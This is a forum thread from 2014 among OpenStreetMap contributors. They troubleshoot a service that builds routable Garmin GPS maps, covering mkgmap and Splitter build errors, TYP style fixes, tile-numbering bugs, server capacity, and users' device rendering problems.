ulimit -t 900 && java -Xmx1792M -XX:StringTableSize=100003 -ea -jar /home/lambertus/garmin/utils/mkgmap/mkgmap.jar --family-id=2000 --product-id=6 --draw-priority=20 --description='OSM Generic Routable' --series-name='OSM Generic Routable' --style-file='/home/lambertus/garmin/utils/styles/' --style='default' --bounds='/home/lambertus/garmin/utils/bounds.zip' --reduce-point-density=4 --reduce-point-density-polygon=8 --precomp-sea='/home/lambertus/garmin/utils/sea.zip' --show-profiles=1 --add-pois-to-lines --index --location-autofill=bounds,is_in,nearest --latin1 --remove-short-arcs --min-size-polygon=10 --merge-lines --add-pois-to-areas --preserve-element-order --make-opposite-cycleways --process-destination --process-exits --route --name-tag-list=name:en,int_name,name:zh_py,name:engels,name --input-file=63240007.o5m
Time started: Mon Jun 30 09:23:22 CEST 2014
Number of MapFailedExceptions: 0
Number of ExitExceptions: 0
Time finished: Mon Jun 30 09:24:38 CEST 2014
Total time taken: 75772ms
09:24:38 Processing file 63240007.o5m failed (result=0, exists=1, size=13342208)
09:24:38 Removing 63240007.img
09:24:38 Acquire the split lock
09:24:38 Splitting 63240007 with nodes=1500000, starting at 63242034. Max id was 63242033, level = 1
Cannot find a good split with exactly 2 areasThe lines in italics come from my script and the underscored line is coming from Splitter. The other lines come from Mkgmap.
The original source tile that somehow cannot be subsplit further is: 63240007.o5m
The commandline for Splitter-r412 is:
java -Xmx7000m -ea -jar ~/garmin/utils/splitter/splitter.jar --output=o5m --keep-complete=true --no-trim=true --mapid=1 --max-nodes=1500000 --max-areas=1024 --write-kml=$split_dir/initial.kml --geonames-file=/home/lambertus/garmin/utils/cities15000.zip /home/lambertus/planet.openstreetmap.org/planet-latest.o5mEdit:
I changed the build script to render the problem tile again when Splitter cannot subsplit further and just not check the result but continue rendering the next tile. - Re: Worldwide routable Garmin maps: URL REMOVED · JorgeDCR (Gast) · 03.07.2014 20:15 · [flux]
Thank you everyone for the help. It appears that, per Beddhist, 'shortest distance' instead of 'fastest route' was the culprit.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2014 21:05 · [flux]
I'm glad the cause has been found. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.07.2014 22:07 · [flux]
I tracked down what caused the tile of Cleveland did not process. I couldnt download your o5m files but with a small extract from Cleveland I was able to reproduce it.
If I remove -ea it will process normally (thats what I always do).
With -ea, mkgmap couldnt compile the tile.
If I use --ignore-turn-restrictions mkgmap will process the tile, so the bug was in one of the turn-restrictions.I found out that the problem was this relation http://www.openstreetmap.org/relation/3490966
My style didnt seem to handle the type=restriction:motorcar very well so I changed the code (for a bike map I want to ignore this restriction, but somehow mkgmap crashed on this). I dont know if it's a bug in mkgmap or in my styles but I think it will pass the next update without errors. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.07.2014 07:50 · [flux]
Thanks Ligfietser,
The file access forbidden was a dumb permission problem.
I remember -ea was once necessary to prevent Mkgmap generating broken maps but apparently this is no longer so. If the next update is still giving problems then I'll remove this option.
There is still a line missing in the typ file for generic_new: https://code.google.com/p/mkgmap-style- … d/2000.txt
Can you add the following before line 2188?:
[_line]
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.07.2014 08:18 · [flux]
I've added _line, thanks for noticing it.
Lambertus wrote:
As a sidenote:
I also see this error for OFM Lite:
SEVERE (StyledConverter): 63440363.o5m: routable type 0x08 is used with a non-routable way which was also added as a routable way. This leads to routing errors. Try --check-styles to check the style.You can ignore those errors 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.07.2014 09:09 · [flux]
ligfietser wrote:
I've added _line, thanks for noticing it.
Thanks.
ligfietser wrote:
Lambertus wrote:
As a sidenote:
I also see this error for OFM Lite:
SEVERE (StyledConverter): 63440363.o5m: routable type 0x08 is used with a non-routable way which was also added as a routable way. This leads to routing errors. Try --check-styles to check the style.You can ignore those errors 🙂
Great.
New update running 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.07.2014 09:01 · [flux]
The problem with the OFM-lite style seems to be resolved, Cleveland looks normal again.
The generic map still has red-tiles, a better work-around is now implemented and a new version should come online ~tomorrow. A report for Splitter is sent to the Mkgmap mailinglist.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.07.2014 09:02 · [flux]
OFM doesn't have those red tiles anymore, but I do see a lot of red tiles in the generic map. I notice the tiles in the ocean are not matched together (because you use --no-trim=true). Any reason for this to use --no-trim? Maybe it helps to solve the splitter problem to leave this parameter out (the generic new map is fine).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.07.2014 09:42 · [flux]
ligfietser wrote:
OFM doesn't have those red tiles anymore, but I do see a lot of red tiles in the generic map. I notice the tiles in the ocean are not matched together (because you use --no-trim=true). Any reason for this to use --no-trim? Maybe it helps to solve the splitter problem to leave this parameter out (the generic new map is fine).
Well, I thought the -no-trim option should prevent this behavior instead of provoking it. 😉
But I'll try it for the next update (after the one that's currently running).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.07.2014 11:02 · [flux]
I never use --no-trim because it makes gaps in the ocean, so I guess it's better to leave it out 😉
If I search on the mkgmap dev list, I find this comment from Gerd:
http://comments.gmane.org/gmane.comp.gi … evel/13701Trimming singular tiles doesn't make much sense, esp. not with
keep-complete=true. We risk holes in the map and gaps in ways crossing the tile, eg. ferry lines - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.07.2014 13:31 · [flux]
The problem with the red-squares is solved, also for the generic map. 🙂 The script now expects at least 2 tiles from Splitter on each subsplit and when just one new tile is found it will simply render this without further tests. This is a solid work-around that even works when Splitter eventually gets fixed.
Next up: reducing the number of map variants (Windows, gmapsupp, gmapi, tiles) to reduce the CPU load. Especially the NSIS installer for Windows uses a lot of CPU cycles. Ligfietser's OFM map shows that it's possible to combine a small installer with the tiles in a single zip-file, resulting in the need for only one file for both Windows as Linux.
Edit 22:00 CET:
I'm guessing about 40 tot 50 people are downloading at the same time from the country server, the harddisk is maxxed-out and 200+ MBit/s is pumped out the ethernet port... 😎 😄 - Re: Worldwide routable Garmin maps: URL REMOVED · Bodee (Gast) · 09.07.2014 22:08 · [flux]
Why has my Norton Anti-Virus software blocked this website as a "known malicious" website, as of this morning?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.07.2014 23:06 · [flux]
I think it is a false positive, these things happen. You can check yourself by testing the website using online virusscanners like http://www.virustotal.com
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.07.2014 09:06 · [flux]
Bodee, please also report it at https://submit.symantec.com/false_positive/
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.07.2014 09:16 · [flux]
Ligfietser, I have a first test map that includes a small installer in the _tiles.zip. BaseCamp shows the map alright. 🙂
Only difference is that this installer does not move+install the map in \Garmin\maps but simply in the directory where you unpacked the zip file. Do you think this a problem for end-users?
I know the tiles are just a random selection, this test is purely about the _tiles.zip file and the small install.exe
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.07.2014 09:38 · [flux]
I understand this new approach takes a little more effort for the user than just click on the exe installer and let the installer do the job.
As long as we give them good instructions about the changes (perhaps in the wiki?) I dont think its a problem?The only big difference is that the users need to do an extra step,
1) unpack it to the location where you want to put the map
2) look for the install.exe file and execute thisBTW another problem, the install.exe might be detected as false positive by some scanners 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · renelm (Gast) · 11.07.2014 10:32 · [flux]
ligfietser wrote:
Thanks for reporting René. The reason is that the typ file isn't processed in all maps.
I'll ask Lambertus what went wrong there.In the generic_new typ file a section start (one line) was missing and that caused Mkgmap to exit prematurely. This has now been fixed for new maps.
And there was much yayness \o/ 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · GerhardKreuzer (Gast) · 12.07.2014 15:41 · [flux]
Hi,
newbee question:
How can I give the maps in BaseCamp meaningful names?I composed two maps for two trips. Now I get the osm_generic_new_gmapsupp..exe file, I use the Windows Version and execute it. After that I have one map in my basecamp. But now I want to install a second map of a different Region. How can I do this having meaningful names in the Basecamp Dropdown box????
I also installed the map on my Germin device copying the map to a SD Card and rename the .img file, this works fine.
With best regards
Gerhard
PS: Want end up with the tracks of all my trips and having all maps used for that trips in basecamp
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 12.07.2014 16:16 · [flux]
You can rename the maps with JaVaWa GMTK: http://www.javawa.nl/gmtk_en.html
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 14.07.2014 17:04 · [flux]
I noticed that this landuse=reservoir was not showing on my oregon 300 gps it is showing in basecamp.
https://www.openstreetmap.org/#map=17/36.16946/27.99237
generic routable new 13-06-2014 greeceThe other thing, in basecamp a lot of the islands in Greece are rendered with hatching, If i look at the data in the editor there is not anything defined.
So for instance next to the reservoir there is "nothing" while the whole of Rhodes is hatched, including the reservoir.And something else that i noticed while walking around in the old city of Rhodes with my gps is that those streets are rendered as very thin white lines against a light background on even the maximum zoom in level. Making it almost impossible to see the roads inside the old town.
https://www.openstreetmap.org/#map=18/36.44260/28.22540 - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.07.2014 19:20 · [flux]
Mafketel, sounds like this is caused by a missing typ file, there were some errors in the map generation a few weeks ago (see http://forum.openstreetmap.org/viewtopi … 2625&p=87).
Could you please try the latest version? - Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 15.07.2014 09:34 · [flux]
That removed the hatching for the Islands and made the map more readable with basecamp.
This map is installing on my gps as we speak.... but this always takes a long time with my mac.... And if I don't install them and just copy the gmap image from the website every time I open basecamp it will load the map from gps and I have two identical maps as a choice in basecamp (one from gps and one already on pc).By the time I was done checking and changing Crete I could also check my gps where the old town and the lake are both rendered correctly now.
Crete is a different matter though. I already noticed that the hatching was much bigger then the Island, partly 10km GISCO buffer zone and the other side is Crete/south aegean periphery.
I Assume this is a data problem at osm and I am willing to change it except I have no idea what is wrong 😉 scratch that I think I know what is the problem and I hope I fixed it.... I assume it is the multipolygon Κρήτη (Crete) 453129 and then in particularly the fact it was tagged place=island , which I just removed.
So that should be ok in the next rendering 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.07.2014 10:10 · [flux]
Correct, the tag place=island is rendering the whole boundary as island. I'd better make this polygon invisible instead of rendering it as land (hatched pattern if you dont use a typ file), because I fear more mistakes are made with this tag.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 15.07.2014 10:32 · [flux]
Provinces mixed up in Thailand:
Search for the city of Suphan Buri, located at N14.46762 E100.11834. In Mapsource and the GPS all places in Suphan Buri province that I have seen so far are shown as located in the neighbouring province:
Suphan Buri
Phra Nakhon Si Ayutthaya Province, THASuphan Buri is capital of the province with the same name.
I notice something strange as I point my mouse at the provincial boundaries. W of Node: 2902644726 it shows both province names, E of this only one. At this point the boundary for a national park splits off. I don't understand enough about relations to troubleshoot this, so I would be glad if somebody could take a look. I don't even know whether this is related or not.
Info about the node:
Node:␣2902644726 Data␣Set:␣63db73 Edited␣at:␣2014-06-06T10:13:24Z Edited␣by:␣Paul_012␣(100662) Version:␣1 In␣changeset:␣22771905 Coordinates:␣14.8350687,␣99.3081859 Coordinates␣(projected):␣1.105493668599175E7,␣1670199.6986975581 Part␣of: Way:␣286584848 Way:␣286584849 Way:␣141066689
I don't even know whether this is a Garmin map problem or a problem with the data.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 15.07.2014 11:05 · [flux]
ligfietser wrote:
Correct, the tag place=island is rendering the whole boundary as island. I'd better make this polygon invisible instead of rendering it as land (hatched pattern if you dont use a typ file), because I fear more mistakes are made with this tag.
I think rendering place=island as land is correct, just need to fix the mistake in the data 😉
And i think it was the only one in the area I looked at.
@Beddhist sounds like a data problem, make a map note if you don't know how to fix it 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.07.2014 12:51 · [flux]
Beddhist wrote:
I don't even know whether this is a Garmin map problem or a problem with the data.
Peter, could be a broken boundary problem in OSM, maybe it is fixed in the next update because it was edited recently: http://www.openstreetmap.org/relation/1908824 (seems not broken now)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.07.2014 13:09 · [flux]
Mafketel wrote:
ligfietser wrote:
Correct, the tag place=island is rendering the whole boundary as island. I'd better make this polygon invisible instead of rendering it as land (hatched pattern if you dont use a typ file), because I fear more mistakes are made with this tag.
I think rendering place=island as land is correct, just need to fix the mistake in the data 😉
And i think it was the only one in the area I looked at.
@Beddhist sounds like a data problem, make a map note if you don't know how to fix it 😉
Thanks for noticing it Mafketel, because I now see that this place=island polygon is causing more issues, like covering too many details (like covering other landuse types) so I have to made it invisible in the TYP file anyway. Now it will only render the island names. Land area is already rendered by the coastline tags so there is no need to do this with a place=island tag.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 15.07.2014 14:09 · [flux]
You know better then me 😉
After downloading the rest of some maps (5-7-2014)
I also just noticed that in basecamp and gps the buildings on the airports are almost invisible against the background of the tarmac of an airport.
e.g. schiphol but also newark and boston have this issue.
Maybe I should stop looking at recent tracks 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.07.2014 16:49 · [flux]
Thanks again for your suggestion, I've improved the typ file, you can download it here
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- Re: Worldwide routable Garmin maps: URL REMOVED · kbroderick (Gast) · 16.07.2014 12:28 · [flux]
I notice that the front page of the garmin.openstreetmap.nl site shows a map based on 2014-07-07 data. Is it no longer on a weekly update cycle, or did this week's update just fail to happen as planned?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.07.2014 14:07 · [flux]
2014-07-07 is the date at which the map update is started and it takes a few days to complete. So it is simply too early to wonder whether the approx. weekly update cycle is not executed as it normally would 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · juttility (Gast) · 17.07.2014 14:41 · [flux]
My request is number #1631 in the queue, 6.8 days to wait... too late I'm afraid :-( I miss predefined groups of countries in the listboxes: I need (north of)Germany+Denmark+(south of)Sweden. Would it be possible to add very common combinations like Germany+Austria+Switzerland or Germany+Sweden+Denmark to the list of predefined maps? Country queries are much faster, but I have an old Garmin etrex and cannot combine maps manually.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.07.2014 20:09 · [flux]
Just install all those countries on your computer and use Basecamp's Mapinstall or Mapsource to send a selection of map tiles to your GPS.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 18.07.2014 02:33 · [flux]
ligfietser wrote:
Beddhist wrote:
I don't even know whether this is a Garmin map problem or a problem with the data.
Peter, could be a broken boundary problem in OSM, maybe it is fixed in the next update because it was edited recently: http://www.openstreetmap.org/relation/1908824 (seems not broken now)
Thanks, in the new map update just out it is OK now.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.07.2014 10:14 · [flux]
Just a quick heads-up:
The custom map queues have been really long the past few weeks (up to 1700 requests waiting), but I'm happy to announce that later this weekend I hope to be able to add a second custom map server which adds 2x the cpu power but unfortunately only supports 1/3rd of the disk space which is limiting. Anyway it looks like a nice addition.It looks like only the mail daemon needs configuring..
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 19.07.2014 11:09 · [flux]
Thank you again for providing this invaluable service. It keeps getting better all the time.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.07.2014 13:35 · [flux]
Lambertus, if you are short of disk space, does a mirror server like the NLUUG server for the Openfietsmap help?
They asked me if we need more disk space. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.07.2014 20:54 · [flux]
The new server is live. At first all new custom requests will be routed to the new server and the original custom server is enabled again when it has caught up.
I'm aware of one last problem on the new server: fancy directory listing isn't working yet.
Edit: fixed. Needed to change <DocumentRoot>AllowOverrides None -> all
ligfietser wrote:
Lambertus, if you are short of disk space, does a mirror server like the NLUUG server for the Openfietsmap help?
They asked me if we need more disk space.This is difficult. As it stands now, disk space alone has little value to this service, especially the custom maps need disk space AND cpu power. The country maps could be hosted offsite but there is no need for that at this moment.
- Re: Worldwide routable Garmin maps: URL REMOVED · DaveEMan (Gast) · 19.07.2014 22:17 · [flux]
How often are the predefined maps updated?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.07.2014 08:42 · [flux]
DaveEMan wrote:
How often are the predefined maps updated?
Approximately once a week.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.07.2014 19:31 · [flux]
Whoops! 600 GB of custom maps in ~half a day: disk full. Map generation is idling now ....
Edit: We're updating and rebooting osm2 now and will bring it back up asap. Warning: This will kill ongoing downloads!
After updating two custom map servers will be available (but both very very busy).
Edit: I'm told that a lot of emails got stuck at another other mail server because we're using a temporary domain. Many people will receive their 'Map ready' mail much later then necessary.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.07.2014 13:24 · [flux]
Now that there are two custom mapserver I needed to implement some kind of load sharing. The first version was simply based on a random selection. But it was pretty soon clear that this is not enough, so I added adaptive load balancing: if one custom map server is full then all requests go to the other.
Small steps...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.07.2014 12:04 · [flux]
Still tweaking the old and new servers. The old one is a bit faster now and the new one should become a bit less stop-and-go as it did the past few days.
- Re: Worldwide routable Garmin maps: URL REMOVED · Rinoskovich (Gast) · 25.07.2014 07:59 · [flux]
Hi there. Thanks for the great service.. However, I received a map-ready email but following the links I get to a download location which contains only the _tiles.zip, licence.txt and the typ file. In the mail it says that it should also contain:
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_windows.exe = Installer for Garmin BaseCamp/MapSource (Windows).
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_macosx.zip = Installer for Garmin BaseCamp/RoadTrip (Mac OSX)
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_gmapsupp.zip = Combined image for direct manual placement on the GPS device (gmapsupp.img)
Something went wrong?
Regards
Rein -
_windows.exe = Installer for Garmin BaseCamp/MapSource (Windows).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.07.2014 08:21 · [flux]
Please post the download link from the email too.
- Re: Worldwide routable Garmin maps: URL REMOVED · Rinoskovich (Gast) · 25.07.2014 09:01 · [flux]
Lambertus wrote:
Please post the download link from the email too.
Sure. Sorry for that.
http://osm2.pleiades.uni-wuppertal.de/g … baa514998/ - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.07.2014 09:23 · [flux]
No idea what happened. The tiles are missing and I don't know why but it does not appear to be symptomatic. I've added some extra logging so hopefully next time I know more.
I see that you requested a newer map, did that go alright?
- Re: Worldwide routable Garmin maps: URL REMOVED · Rinoskovich (Gast) · 25.07.2014 09:26 · [flux]
Yesterday I requested two maps:
http://osm2.pleiades.uni-wuppertal.de/g … 7baa514998
and
http://osm2.pleiades.uni-wuppertal.de/g … 135a37a8f3Both have the same issues....
This morning I retried one of the requests, it is still in the queue:
http://osm2.pleiades.uni-wuppertal.de/g … 4db8a71205Regards.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.07.2014 09:35 · [flux]
hmm, investigating further I notice that your request contains tiles that are non-existent:
63241424.img;63241428.img;63241429.img;63241430.img;63241431.img;63241433.img;63241434.img
While OFM_lite maps contain only tiles that start with: 6344
Your latest request uses the correct tile numbers. How did you select the tiles? Do you use a permalink or some such?
- Re: Worldwide routable Garmin maps: URL REMOVED · Rinoskovich (Gast) · 25.07.2014 09:38 · [flux]
Lambertus wrote:
hmm, investigating further I notice that your request contains tiles that are non-existent:
63241424.img;63241428.img;63241429.img;63241430.img;63241431.img;63241433.img;63241434.img
While OFM_lite maps contain only tiles that start with: 6344
How did you select the tiles? Do you use a permalink or some such?
I just clicked the tiles after selecting:
http://garmin.openstreetmap.nl/
Routable Bicycle (Openfietsmap Lite)
Enable manual tile selection: checked
and selected the tiles in the map presented.
Then entered my mailadres and clicked: build my map....The latest request has been placed in the same way.
Latest request is through the queue and looks ok!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.07.2014 11:14 · [flux]
Ok, glad to hear all is well this time. Still no idea why the tile-id's were wrong during the previous requests. Other people didn't seem to suffer the same problem.
On another note:
Improved the load balancing a bit more yesterday evening: the server is now chosen based on disk space AND queue length. If disk space is available then the server with the shortest queue gets the request. - Re: Worldwide routable Garmin maps: URL REMOVED · kbroderick (Gast) · 26.07.2014 03:42 · [flux]
I've got a question / concern about rendering with the Mapnik and new-style maps...minor roads in forests are very difficult to see against the landcover on my Montana 650. E.g. http://www.openstreetmap.org/way/19729384 where it passes through natural=wood. I've tried setting the landcover zoom level on the device to "none", which has worked with some other maps but doesn't appear to have any effect. My use case is operating a dual-sport motorcycle and looking for roads and tracks through the woods, particularly when trying to find a way through an area with lots of dead ends—it's very tough to tell, especially at a glance, if ways are mapped as going through or not.
Here's a partial shot of the map as displayed on the Garmin, which makes the road look more obvious than it does when viewing the GPS directly:
(ignore the yellow dots, those are an overlay map I built from Vermont AOT data and indicate private roads)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 26.07.2014 10:10 · [flux]
Lack of contrast varies from unit to unit. In the typ file those roads are not defined, so it makes use of the internal Garmin rendering type (which makes it a Garmin problem). The only thing that you could do is adjusting the TYP file with a typ file editor and give it your own colours.
The forests are polygon type 0x15, residental roads poly lines 0x06. A good editor is TYP viewer, https://sites.google.com/site/sherco40/home - Re: Worldwide routable Garmin maps: URL REMOVED · bronger (Gast) · 28.07.2014 07:25 · [flux]
The map (generic routable, new style) of Belgium had a large void area (i.e. no map data) in the west of Belgium. I downloaded it on friday.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.07.2014 08:03 · [flux]
This is probably caused by an old version in the history cache of Basecamp. Try ctrl-G (2x) to clear it?
- Re: Worldwide routable Garmin maps: URL REMOVED · DavidOb (Gast) · 29.07.2014 15:35 · [flux]
Hi, I have accidentally found there are some areas with the same .img number but different name (and different real place) in the map generated yesterday. I have found these:
63242597, named ID-Denpasar (western coast of Australia + lot of water) and ID-Banjarmasin (northern Java and southern Borneo)
63242700, named VN-Ho Chi Minh City (south-east Vietnam + Malaysia) and PH-Taguig (small area in Phillippines south-east of Manila)
63242866, named TR-Istanbul (Istanbul + Black sea north to Istanbul) and IT-Busto Arsizio (west to Milan)
As I know close to nothing about the map creation, maybe this is not the right place to report it - sorry then. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.07.2014 11:37 · [flux]
Yes it is the right place to report those issues, thanks David.
I hope Lambertus can have a look at this? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.07.2014 14:50 · [flux]
That is very strange. Does this relate to the generic map or one of the other two maps?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.07.2014 17:36 · [flux]
As far as those tiles are concerned, only the generic. If you download Indonesia, one tile will be missing.
Perhaps filling up the sea tiles will solve this issue? Now only the generic map does not have a complete coverage of sea tiles. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.07.2014 08:34 · [flux]
The past three weeks two custom map generation servers have been added together with a lot of software development and encountering some interesting bugs. So, after last night, the queues are finally empty again. Many thanks to those who made this possible. Onwards!
- Re: Worldwide routable Garmin maps: URL REMOVED · KPost (Gast) · 07.08.2014 16:50 · [flux]
Turkey map selection:
When selecting Turkey is leaves out the Istanbul tile. When manually selecting tiles it leaves this tile out as well in the final installation. It has been this way for at least a month I believe. I use my maps in Mapsource / 276C.I believe it is map tile TR-Istanbul, 63242890.img
KP
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.08.2014 10:24 · [flux]
KPost wrote:
Turkey map selection:
When selecting Turkey is leaves out the Istanbul tile. When manually selecting tiles it leaves this tile out as well in the final installation. It has been this way for at least a month I believe. I use my maps in Mapsource / 276C.I believe it is map tile TR-Istanbul, 63242890.img
KP
I've also received several emails by different users about this problem and been looking at this problem for a while, but didn't spot the cause earlier. Now I think I found it and implemented a fix.
When Splitter is called to subsplit a tile but cannot find a good solution it will produce only one result (instead of the two it is ordered to produce). This is spotted by the build-script which then simply re-renders the original tile without further subsplitting. However the sub-split attempt leaves two 'orphaned' files behind which aren't cleaned-up though cause double use of a tile number later on, e.g. tile number 63242074 is defined twice as US-Long Beach and US-Los Angeles. The same happens with Istanbul and other places as described by DavidOb a few posts above. I thought that this problem had been fixed with an earlier update, but clearly it didn't.
The problem should be fixed by removing the subsplit files which are not going to be rendered. When the Openfietsmap_lite render process is finished a new map update will be started. I hope that solves this issue.
Many thanks for the reports!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.08.2014 18:15 · [flux]
150 people downloading countries from the same server while an update process is running: Madness. Both harddisks are fully occupied 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.08.2014 20:41 · [flux]
To make it worse, the OFM mirror server from NLUUG seems down for some time so people have to use the Wuppertal server too 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.08.2014 20:46 · [flux]
Good to have a fall-back server then, even if it's not the fastest 😄
Anyway, I'm in the process of moving the render chain to the new server: It has much more ram, cpu-cores and disk space and so is able to do much more in parallel. That'll free one harddisk in the osm server allowing me to use it for sharing country maps. This means there will be twice the I/O bandwidth available for country (and OFM) downloaders. But several other things need to be in place before this happens.
For those familiar with Linux, I've rarely seen a quad-core server having more then 100% I/O-wait, the last few hours it was at 400%. All four cores are 100% waiting for the disks to return the requested data that is needed to do any useful work. In other words: all cores were starved of data and could do nothing but wait almost 100% of the time.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.08.2014 08:35 · [flux]
Lambertus wrote:
I've also received several emails by different users about this problem and been looking at this problem for a while, but didn't spot the cause earlier. Now I think I found it and implemented a fix.
When Splitter is called to subsplit a tile but cannot find a good solution it will produce only one result (instead of the two it is ordered to produce). This is spotted by the build-script which then simply re-renders the original tile without further subsplitting. However the sub-split attempt leaves two 'orphaned' files behind which aren't cleaned-up though cause double use of a tile number later on, e.g. tile number 63242074 is defined twice as US-Long Beach and US-Los Angeles. The same happens with Istanbul and other places as described by DavidOb a few posts above. I thought that this problem had been fixed with an earlier update, but clearly it didn't.
The problem should be fixed by removing the subsplit files which are not going to be rendered. When the Openfietsmap_lite render process is finished a new map update will be started. I hope that solves this issue.
A first attempt failed due to only one of the two orphaned files being cleaned-up. With a second attempt both files are cleaned-up and the problem is solved starting map version: 13-08-2014
- Re: Worldwide routable Garmin maps: URL REMOVED · gamapr (Gast) · 17.08.2014 14:09 · [flux]
I downloaded and installed an .img file of Canada on my Garmin. The map is present on the gps and I enabled it. When I zoom on an area, I only see some part of the map but not the full map. If I change the zoom level I will see more or less part with sometimes previously visible area which will disappear and others which will appear. The data seem to be present but not visible everywhere, since I can simulate a trip from one point to another even in invisible area. In the part where no information is displayed I can only see the path of the planned trip.
I checked the map using BaseCamp and I can see all the data without trouble.
I also tried to install an .img file from "www.osmmaps.com" and I have the same problem. I tried to reset the gps but it doesn't change anything.
Do you have any idea of where the problem could come from?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.08.2014 22:23 · [flux]
Hard to say...Maybe you have duplicate maptiles installed try javawa device manager, www.javawa.nl/jdm_en.html to check for map errors. Or maybe your sd card can be faulty, did you try another sd card?
- Re: Worldwide routable Garmin maps: URL REMOVED · gamapr (Gast) · 18.08.2014 21:14 · [flux]
I tried javawa and there is no map error.
The map is saved directly on the internal gps memory and I tried an old map from US (bought from Garmin) and everything is fine. Only osm maps have the problem. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.08.2014 22:27 · [flux]
Can you give the location (permalink from osm.org) so I can check if I can reproduce it?
Which map did you exactly download (generic, generic new style?) - Re: Worldwide routable Garmin maps: URL REMOVED · gamapr (Gast) · 18.08.2014 22:58 · [flux]
Which link do you want?
I downloaded one .img file of a generic new style map covering Canada obtained from garmin.openstreetmap.nl (the download link was (now it's dead): http://sfs4.pleiades.uni-wuppertal.de/g … 18900c3d4f).
I also tried an .img file obtained from www.osmmaps.com (Canada map).
Both maps behave in the same way (but the displayed area are different (I mean the visible or invisible area are different)). - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.08.2014 08:11 · [flux]
Do you see this happening everywhere in Canada, or at particular spots?
If it is everywhere, maybe your device cannot cope with mkgmap generated maps.
If you see this only at some places, maybe there is a feature on OSM that is messing up the rendering on other devices too.
So if you can send a link (something like http://www.openstreetmap.org/#map=14/49.2560/-123.1131) of an area that disappears I can check this on my device.
Just "Canada" is way too big, sorry. - Re: Worldwide routable Garmin maps: URL REMOVED · gamapr (Gast) · 19.08.2014 20:48 · [flux]
I see it everywhere in Canada...
For instance I only see the area south and east of the crossing of "Bow Bottom Trail SE" and "Canyon Meadows Drive SE" (http://www.openstreetmap.org/#map=14/50.9205/-113.9909).
Or I only see the area south of the north arm of "Fraser river" at some zoom level (http://www.openstreetmap.org/#map=13/49.1903/-123.0879).
And if I zoom more on the area I can only see the area north of "East 54th Avenue" (http://www.openstreetmap.org/#map=14/49.2337/-123.0450).Is there a way to get an osm map generated in another way than with mkgmap?
Thank you for your help. - Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 20.08.2014 01:00 · [flux]
gamapr wrote:
Is there a way to get an osm map generated in another way than with mkgmap?
